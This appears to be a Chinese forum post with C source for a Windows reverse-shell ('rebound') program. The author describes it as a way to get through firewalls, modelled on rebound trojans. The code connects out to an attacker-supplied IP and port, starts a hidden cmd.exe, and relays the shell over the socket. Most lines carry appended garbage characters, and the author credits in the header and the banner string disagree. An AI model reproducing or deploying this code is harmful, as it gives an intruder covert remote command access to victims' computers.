这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ReGO9}
6Nd_YX
/* ============================== i]^*J1a
Rebound port in Windows NT 8`LLHX1|
By wind,2006/7 4S{l>/I
===============================*/ 3bI|X!j
#include Z]> e & N
#include C7*Yg$`{
0 *Yivx6
#pragma comment(lib,"wsock32.lib") @1qUC"Mg
0,D9\ Ebd
void OutputShell(); 7zkm
SOCKET sClient; NYV0<z@M2M
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7[?}kG
},QFyT
void main(int argc,char **argv) c,s<q j
{ TXk"[>,:H
WSADATA stWsaData; 9787uj]Y}H
int nRet; z )}wo3
SOCKADDR_IN stSaiClient,stSaiServer; >5@ 0lYhH
,vY
I
O
if(argc != 3) H&K)q5~
{ c.me1fGn
printf("Useage:\n\rRebound DestIP DestPort\n"); RkXLE"G'
return; x?k |i}Q
} $YO]IK$
P*^UU\x'4I
WSAStartup(MAKEWORD(2,2),&stWsaData); 0PX@E-n
"@<g'T0
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1XKIK(l
nv|y@!(
stSaiClient.sin_family = AF_INET; 6 VJj(9%
stSaiClient.sin_port = htons(0); [zt&8g
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =81Xt1,
$,@+Ua
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ha'm`LiX
{ 5suSR;8
printf("Bind Socket Failed!\n"); :95_W/l
return; Dg4^
C
}
M]:B: ;
o+23?A~+
stSaiServer.sin_family = AF_INET; -Y,Ibq
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); us *l+Jw,m
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); j{+I~|ZB,
Z`h_oK#y15
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *>H'@gS
{ UVRV7^eTe
printf("Connect Error!"); ^rb7`s#G
return; L.&Vi"M <@
} *wl_8Sis}
OutputShell(); yq^$H^_O
p
} Z19y5?uR
Zl/+HU~
void OutputShell() UE](`|4H
{ ag4^y&
char szBuff[1024]; +K4v"7C
V
SECURITY_ATTRIBUTES stSecurityAttributes; ,tc]E45
OSVERSIONINFO stOsversionInfo; 6q7Y`%j
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _C\
d^a(
STARTUPINFO stStartupInfo; W|
eG}`
char *szShell; ::t!W7W
PROCESS_INFORMATION stProcessInformation; Xc<9[@
unsigned long lBytesRead; {i?K~|
h
Z.19v>-c
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); D'=`O6pK
rJ*WxOoS{
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g9`ytWmM
stSecurityAttributes.lpSecurityDescriptor = 0; jF0BWPL
stSecurityAttributes.bInheritHandle = TRUE; X*;p;N
UzRF'<TWf
,*#M%Pv1t
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `OK
}q
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0
N^V&k
*gKr1}M
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {=Y&q~:8v
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =z dti'2{4
stStartupInfo.wShowWindow = SW_HIDE; 7tnzgtal
stStartupInfo.hStdInput = hReadPipe; 9]9(o
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }gt~{9?c
Fs~-exY1
GetVersionEx(&stOsversionInfo); rGO3
l#:Q V:
switch(stOsversionInfo.dwPlatformId) J)+eEmrU
{ Q?q
m~wD
case 1: b s*Z{R
szShell = "command.com"; G 3x1w/L
break; c}cboe2
default: HyMb-Us
szShell = "cmd.exe"; 8t"DQ Y-R
break; >TJ$Z3
} O*7~t17
NoIdO/vy"
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q5Mif\
Plv+ mb
send(sClient,szMsg,77,0); /+7L`KPD
while(1) 4]R3*F
{ mUw,q;{
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _X/`4 G
if(lBytesRead)
q\"$~*
{ '{~ej:
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `XP Tf#9j
send(sClient,szBuff,lBytesRead,0); }mK_d9d x
} CaMG$X&O
else b"V-!.02
{ k[m-"I%ZFX
lBytesRead=recv(sClient,szBuff,1024,0); xg&vZzcl
if(lBytesRead<=0) break; I1jF`xQ&0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); G Kr
L
} "M]]H^r5
} d0d2QRX
U# gmk0>t{
return; o=}?aC3I
}